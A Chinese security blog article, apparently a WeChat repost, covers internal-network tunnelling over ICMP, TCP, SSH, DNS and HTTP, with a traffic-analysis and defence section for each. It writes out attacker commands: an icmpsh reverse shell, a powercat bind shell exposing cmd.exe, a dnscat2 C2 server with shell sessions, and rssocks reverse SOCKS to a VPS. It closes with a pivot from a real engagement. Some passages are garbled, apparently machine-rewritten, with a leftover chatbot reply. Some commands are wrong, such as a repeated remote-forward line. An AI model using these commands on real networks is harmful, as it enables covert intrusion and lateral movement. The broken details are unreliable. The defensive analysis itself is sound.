背景
本文将针对边界安全设备对内网端口的屏蔽及数据包的拦截,从不同的网络协议层构建隧道进行绕过,并对不同类型的隧道流量或日志进行深入分析。通过这些分析,攻击者或防守者可以从溯源的角度更好地掌握内网穿透技术,提升自身在网络攻防中的能力。以下是搭建测试环境,需自己在虚拟机构建环境,进行环境测试。
隧道网络层
主要的隧道技术从网络层开始,包括IPV6隧道、ICMP隧道和GRE隧道。其中,最常用的隧道技术是ICMP隧道。
icmp隧道
ICMP隧道搭建的场景主要用于当端口被拦截策略关闭时。ICMP协议用于检测网络连通状态,不依赖端口开放,因此防火墙通常会允许此协议。常用来搭建ICMP隧道的工具有icmpsh、PingTunnel、powershell icmp等,本次测试将使用icmpsh。
搭建工具:
icmpsh
首先在目标主机进行Ping测试:
ping 192.168.43.136
接下来,在攻击主机上执行监听命令:
在受害者主机上执行以下命令来反弹 shell。请注意,这个命令是在服务器端返回的。
icmpsh.exe -t 192.168.43.136 -d 500 -b 30 -s 128
反弹成功!
已确认搭建成功。
icmp隧道分析
首先查看普通的 Ping 数据包:
再查看执行了命令 netstat -ano 生成的数据包:
通过比较,我们发现普通的 Ping 请求产生了 4 个带有 32 字节数据的数据包,数据内容为 abcdefghijklmnopqrstuvwabcdefghi;而使用 ICMP 隧道搭建的 shell 通道执行命令时,数据包显示在短时间内有大量的 ICMP 请求和回复流量,每个数据包的数据含有高达 128 字节的数据。这些数据可以通过命令进行修改,同时可以看到数据中包含大量的命令执行内容返回。因此,对该隧道的溯源可以从以下方面进行分析:
-
单位时间内的 ICMP 数据包数量 -
数据包大小 -
数据包内容
传输层隧道
传输层主要有 TCP 和 UDP 协议,因此隧道搭建也是基于这两种协议进行的。常用的隧道搭建工具有 netcat、powercat 等。本文通过 powercat 和 nc 进行测试。
工具下载:
-
powercat(https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1)
powercat 隧道搭建
受害者主机(192.168.43.109):
Import-Module .powercat.ps1 powercat -l -p 8888 -e cmd.exe -v
攻击者主机(192.168.43.136):
nc 192.168.43.109 8888 -vv
在受害者端看到与远程连接建立成功!
在攻击端成功执行命令!
powercat隧道分析
通过查看使用 powercat 搭建的隧道获取的数据包,可以看到大量的 TCP 数据包。在短时间内发出大量的 ACK 回应数据包,并夹杂着许多 PSH 数据包,表明这些数据包包含数据内容。通过查看数据包的数据部分,可以看到其中包含我们执行的命令及其响应内容。通过 Wireshark 对数据包进行分析,我们可以对数据包的内容进行安全检测,并采取防御措施。
应用层隧道
应用层位于 TCP/IP 协议的最顶层,通常用于搭建各种应用服务。基于应用层的隧道技术利用各种应用所占用的端口进行搭建。例如,SSH、HTTP/HTTPS 和 DNS 服务等都是服务器经常使用且不会被禁止的协议。
ssh隧道
SSH(Secure Shell)是一种建立在应用层基础上的安全协议,用于远程登录会话和其他网络服务提供安全性。相比之下,FTP、POP 和 Telnet 在本质上是不安全的,因为它们在网络上传输口令和数据时使用明文,容易被恶意截取。这些服务的安全认证方式也存在弱点,容易受到“中间人”攻击。
SSH 目前包括 SSH1 和 SSH2 两个版本,是最常用的安全通讯协议之一。通常情况下,SSH 协议是允许通过防火墙和边界设备的。
SSH 隧道通常用于端口转发,包括本地转发、远程转发和动态转发,每种转发方式在不同场景下有不同的应用。接下来将分别介绍它们的用法:
本地转发
本地转发通常用于通过 DMZ 资源访问内部没有外网 IP 的资源。此时,DMZ 资源通常具有外网 IP,并且可以访问外网。以下简称内部无外网 IP 资源为 "inner"。
在这个示例中,DMZ 主机的 IP 是 192.168.43.179,内部主机的 IP 是 192.168.43.168,攻击主机的 IP 是 192.168.43.136。配置如下:
ssh -CfNg -L 1234:192.168.43.168:22 [email protected]
这个命令将会在攻击主机上建立一个本地端口转发,将攻击主机的 1234 端口与内部主机的 22 端口进行映射,使得攻击主机可以通过访问本地的 1234 端口来访问内部主机的 SSH 服务。
在这种设置下,您可以使用以下命令在攻击主机上连接到内部主机的 SSH 服务:
ssh -p 1234 [email protected]
这将通过攻击主机上的本地端口 1234 转发到内部主机的 SSH 服务,允许您以 sir 用户身份登录到内部主机。
远程转发
远程转发通常用于外部资源通过 DMZ 资源访问内部没有外网 IP 的资源。同时,DMZ 资源也没有外部 IP。以下简称内部无外网资源为 "inner"。
在这个示例中,内部主机的 IP 是 192.168.43.168,攻击主机的 IP 是 192.168.43.136,DMZ 主机的 IP 是 192.168.43.179。配置如下:
ssh -CfNg -R 2345:192.168.43.168:22 [email protected]
这个命令将会在 DMZ 主机上建立一个远程端口转发,将 DMZ 主机的 2345 端口与内部主机的 22 端口进行映射,使得外部资源可以通过访问 DMZ 主机的 2345 端口来访问内部主机的 SSH 服务。
通过在攻击主机上执行以下命令,可以成功连接到内部主机的 SSH 服务:
ssh -CfNg -R 2345:192.168.43.168:22 [email protected]
动态转发
动态转发通常在外部攻击主机上通过 DMZ 主机搭建一个外部的 SOCKS4/5 代理,然后通过代理软件添加需要代理的程序即可对内部网络中的资源进行访问。
在这个示例中,内部主机的 IP 是 192.168.43.168,DMZ 主机的 IP 是 192.168.43.179,攻击主机的 IP 是 192.168.43.136。配置代理如下:
ssh -CfNg -D 8888 [email protected]
这个命令将在攻击主机上创建一个动态 SOCKS 代理,监听在本地的 8888 端口。然后您可以通过代理软件将需要代理的程序指向这个 SOCKS 代理,从而访问内部网络中的资源。
ssh隧道分析
由是的,SSH 作为建立在应用层基础上的安全协议,所有的数据传输都被加密,这使得在 Wireshark 中抓取的包难以分析内容。在这种情况下,您可以通过端口连接情况进行判断。
以远程转发 SSH 隧道为例,您可以查询端口连接情况,看是否本机与外网主机 192.168.43.136 的 22 端口有建立连接的信息。如果有建立连接的信息,说明 SSH 隧道已经建立成功,数据可以安全地在内部主机和攻击主机之间传输。
是的,当外网主机成功连接到内部主机时,如果您注意到相同的 PID(进程标识符)3104 分别与外网和内网建立了连接,这基本上可以确定本主机已经被搭建了 SSH 隧道进行内网流量转发操作。这种方法可以帮助您确认隧道是否已经建立,并且了解到数据流向。
DNS隧道
DNS隧道利用DNS协议进行数据传输,通过域名解析请求和响应来传输数据。在使用DNS隧道时,需要在VPS上部署域名解析服务。首先,在VPS上建立A记录,然后创建NS记录,将子域名的解析地址指向A记录的域名。
对于NS记录mail子域进行解析指向ns1*.club的A记录,测试部署如下:
-
首先,需要在域名服务提供商处设置NS记录,将mail子域的解析指向ns1*.club的A记录。 -
然后,测试外部对mail子域的DNS请求,观察VPS是否处理该请求。
客户端发送DNS请求数据包,可使用工具如dig或nslookup。例如,在Linux系统上可以使用dig命令:
dig mail.yourdomain.com
这将向域名服务请求解析mail子域的IP地址。如果VPS正确处理了这个请求,您将能够看到与mail子域相关联的IP地址。
v使用 tcpdump 命令可以监听网卡上的数据包,这里我们监听 UDP 目标端口为 53(DNS)的数据包,以查看VPS对请求数据的处理情况。命令如下:
tcpdump -n -i eth0 udp dst port 53
这个命令会显示经过网卡 eth0 的所有目标端口为 53 的 UDP 数据包。
安装dnscat2服务端的步骤如下:
-
安装所需的软件包和依赖项:
yum install gem
-
安装Ruby环境:
rm /usr/bin/ruby wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz tar -zxvf ruby-2.5.0.tar.gz cd ruby-2.5.0 mkdir -p /usr/local/ruby ./configure --prefix=/usr/local/ruby make && make install ln -s /usr/local/ruby/bin/ruby /usr/bin/ruby
-
克隆dnscat2代码并安装依赖项:
git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server gem install bundler ln -s /usr/local/ruby/bin/bundle /usr/bin/bundle bundle install
-
启动服务端:
ruby dnscat2.rb mail.yourdomain.com -e open -c password --no-cache
客户端下载地址:
-
dnscat2客户端
powershell客户端:
-
dnscat2-powershell客户端
测试通信:
./ruby --ping mail.target.com
连接服务端:
./dnscat --secret=password mail.target.com
请根据实际情况替换上述命令中的域名和密码。
连接成功的提示表明您已成功建立了与dnscat2服务器的连接。接下来,您可以使用dnscat2客户端进行数据传输和命令执行。
session -i session_id 命令用于查看特定会话的详细信息,其中 session_id 是会话的标识符。通过这个命令,您可以查看会话的详细信息,包括会话的状态、连接信息以及与客户端的通信情况。
要进入会话并执行shell交互命令行,您可以按照以下步骤操作:
-
使用 sessions 命令查看所有会话的列表,找到您要进入的会话的 session_id。 -
使用 session -i session_id 进入特定的会话。例如,如果要进入 session_id 为 1 的会话,可以使用以下命令: session -i 1
-
进入会话后,您可以执行各种命令,包括 shell 交互命令行。例如,您可以运行 shell 命令进入交互式 shell: shell
-
现在,您可以在会话中执行各种 shell 命令,并与目标主机进行交互。完成后,您可以使用 exit 命令退出 shell,然后使用 back 命令返回到 dnscat2 的控制台。
请注意,在执行任何操作前,请确保您已取得相关授权,并且仅在合法控制下使用这些工具。
通过监听 53 端口的流量包,您可以观察到传入的 DNS 请求数据包。使用 tcpdump 命令可以实现这一功能,命令如下:
tcpdump -n -i eth0 udp dst port 53
这个命令将监听网卡 eth0 上目标端口为 53 的 UDP 数据包。
dns隧道分析
通过流量监测,您可以轻易判断出存在大量的 DNS 协议的数据包。这些数据包与普通的 DNS 请求有明显区别,主要表现在以下几个方面:
-
请求的 DNS 域名前存在一段加密的字符串,这表明数据包中的 DNS 查询请求经过了加密处理。 -
DNS 记录分布于 TXT 记录、MX 记录和 CNAME 记录。这种分布方式可能是为了隐藏真实的目标域名或者在 DNS 查询中携带额外的信息。
通过分析这些特征,您可以识别出这些异常的 DNS 请求,进一步分析其内容和目的。
如果您提供了具体的服务端的tcpdump监测日志内容,我可以帮助您分析其中与普通DNS请求不同之处。
这样的可以通过以下几种方式进行防御:
-
设置受信任的DNS服务器进行通信: 确保您的系统只与受信任的DNS服务器通信,限制恶意DNS服务器的访问。您可以配置防火墙规则来限制DNS流量。 -
阻止传入和传出的TXT请求: 根据您的网络策略,可以通过防火墙或DNS服务器配置来阻止传入和传出的TXT请求。这可以帮助减少DNS隧道的可能性。 -
对频繁进行DNS请求的设备进行禁用并发出警告: 监控网络中频繁进行DNS请求的设备,并对其进行禁用或者发出警告。这可以帮助及早发现可能存在的异常行为。
这些措施可以有效地减少DNS隧道对您网络的影响,并增强网络的安全性。
http隧道
HTTP协议在互联网中是广泛使用的通信协议之一,主要用于Web浏览器和Web服务器之间的通信,即Web应用。除了Web应用之外,HTTP还有许多其他的应用场景。其中,一个常见的用途是通过HTTP服务搭建代理,将外部流量引导到内部网络中。在这个过程中,常用的工具包括reGeorg和tunna等。本文将使用reGeorg来进行测试。
在测试中,我们有如下网络结构:
-
DMZ:192.168.157.148 / 192.168.247.130 -
攻击者:192.168.157.147 -
受害者:192.168.247.152
reGeorg可以支持多种脚本语言,包括PHP、ASPX和JSP等。我们需要将相应的脚本上传到目标服务器中。
首先,我们将上传tunnel文件到DMZ服务器上:
接下来,我们将使用上传的tunnel文件在DMZ服务器上搭建一个基于SOCKS5协议的隧道。
首先,在DMZ服务器上找到上传的tunnel文件,然后执行以下命令启动SOCKS5代理:
python tunnel.py 192.168.247.152 1080
这将在DMZ服务器上启动一个SOCKS5代理,将流量转发到受害者192.168.247.152的1080端口上。接着,您可以在攻击者机器上使用SOCKS5客户端连接到DMZ服务器上的代理,以便发起针对受害者的攻击。
隧道搭建成功后,您可以使用 Proxifier 进行配置,将流量通过该隧道转发到本地代理的8888端口。以下是配置步骤:
-
打开 Proxifier,点击菜单栏的 "Profile" -> "Proxy Servers",点击 "Add" 添加一个新的代理服务器。 -
在弹出的窗口中,设置代理服务器的地址为本地的地址(127.0.0.1)和端口(8888),选择代理类型为 SOCKS Version 5,然后点击 "OK"。 -
返回 Proxifier 主界面,点击菜单栏的 "Profile" -> "Proxification Rules",点击 "Add" 添加一个新的规则。 -
在规则编辑窗口中,设置应用程序的路径或名称,将动作设置为 "Proxy",并选择之前添加的代理服务器,然后点击 "OK"。 -
保存配置,并确保 Proxifier 处于启用状态。此时,所有经过 Proxifier 的流量都会通过隧道转发到本地代理的8888端口。
要配置 MSTSC(远程桌面连接)的流量通过该代理发出,您可以按照以下步骤进行操作:
-
打开 Proxifier,点击菜单栏的 "Profile" -> "Proxification Rules",确保在 "Profile" 下存在一个已启用的配置文件。 -
在 "Proxification Rules" 窗口中,点击 "Add" 添加一个新的规则。 -
在规则编辑窗口中,设置应用程序为 MSTSC 的路径(一般为 C:WindowsSystem32mstsc.exe),将动作设置为 "Proxy",并选择之前添加的代理服务器,然后点击 "OK"。 -
保存配置,并确保 Proxifier 处于启用状态。
现在,当您使用 MSTSC 进行远程桌面连接时,其流量应该会通过您配置的代理服务器发出。
接下来,您可以尝试使用 MSTSC 进行远程桌面连接,看看是否可以成功连接到受害者主机。如果一切配置正确,您应该能够建立远程桌面连接,并在攻击者主机上远程控制受害者主机。
http隧道分析
通过查看抓取的数据流量,我们发现一些 HTTP 请求,这些请求包含了一些参数,包括 cmd、target 和 port。这些参数可能用于指示执行某些操作的命令、目标主机和端口。
然后,您可以查看这些数据包,注意观察请求的源IP端口和目的IP端口。显然,请求参数中的IP端口与这些数据包的IP端口是不同的。这可能表明数据包经过了某种代理或中间设备进行了转发或修改。
通过监听第二个网卡(192.168.247.130),您发现存在对远程服务器的3389端口的链接数据请求,并且请求的目的端口服务名为ms-wbt-server。这表明有可能存在远程桌面连接的尝试,即远程桌面协议(RDP)。您可以进一步分析这些请求,以了解是否有不正常的活动或攻击行为。
针对HTTP协议的数据包进行查看,并结合数据包中的IP参数进行溯源,可以帮助您了解数据包的来源和目的地。结合本机IP对该IP的操作内容进行多层次的溯源,可以进一步追踪到数据包的具体来源和可能的目的。同时,结合本机的Windows日志进行配合溯源,可以提供更全面的信息,帮助您识别任何潜在的异常活动或攻击行为。
案例
在某次项目中,由于在菜刀下的操作比较局限,通过灵机一动的思路getshell后,思考将流量转出来。经过多次尝试,成功使用Rssocks搭建了ssocks隧道。具体情况如下:
-
下载Rssocks:http://sourceforge.net/projects/ssocks/ -
目标系统为Linux,需要在ssocks中编译安装ssocks: ./configure && make && make install
-
在外网的VPS上执行以下命令以启动ssocks隧道: Rssocks -l 5001 -p 8009 -vv
这样,您就成功搭建了一个ssocks隧道,可以将流量转发到外部网络。
然后,在目标主机上执行以下命令,将流量通过ssocks隧道转发到外部VPS:
Rssocks -vv -s vpsip:1080
这样,目标主机上的流量就会通过ssocks隧道传输到外部VPS上。
在接下来的步骤中,你需要使用Proxifier来连接到一个Socks代理,地址是VPS的IP,端口是1088。然后,你可以扫描内网中某个IP的端口。
为了完成任务,你还需要使用Kali Linux中的工具Proxychains,并修改其配置文件。
首先,去掉配置文件中dynamic_chain行前的注释。然后,在文件的最后一行添加你的代理信息。接着,你可以测试一下内网的连通性。
对内网流量的控制现在进行得非常顺利。我发现一个10.x.x.16的IP地址,它开放了80端口的服务。
我尝试使用浏览器访问发现的Web服务,地址是10.x.x.16。
总结
在这篇文章中,我介绍了基于各层协议的内网穿透工具和技巧,虽然它们各有不同,但其原理基本相同。关键在于在项目中面对复杂环境时,能够快速识别可用的隧道类型,并成功地克服环境中的挑战。同时,我希望这篇文章能够帮助项目中的防御人员从溯源的角度更好地理解内网穿透技术。
原文始发于微信公众号(网安守护):挑战环境限制 内网穿透实用技巧大揭秘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论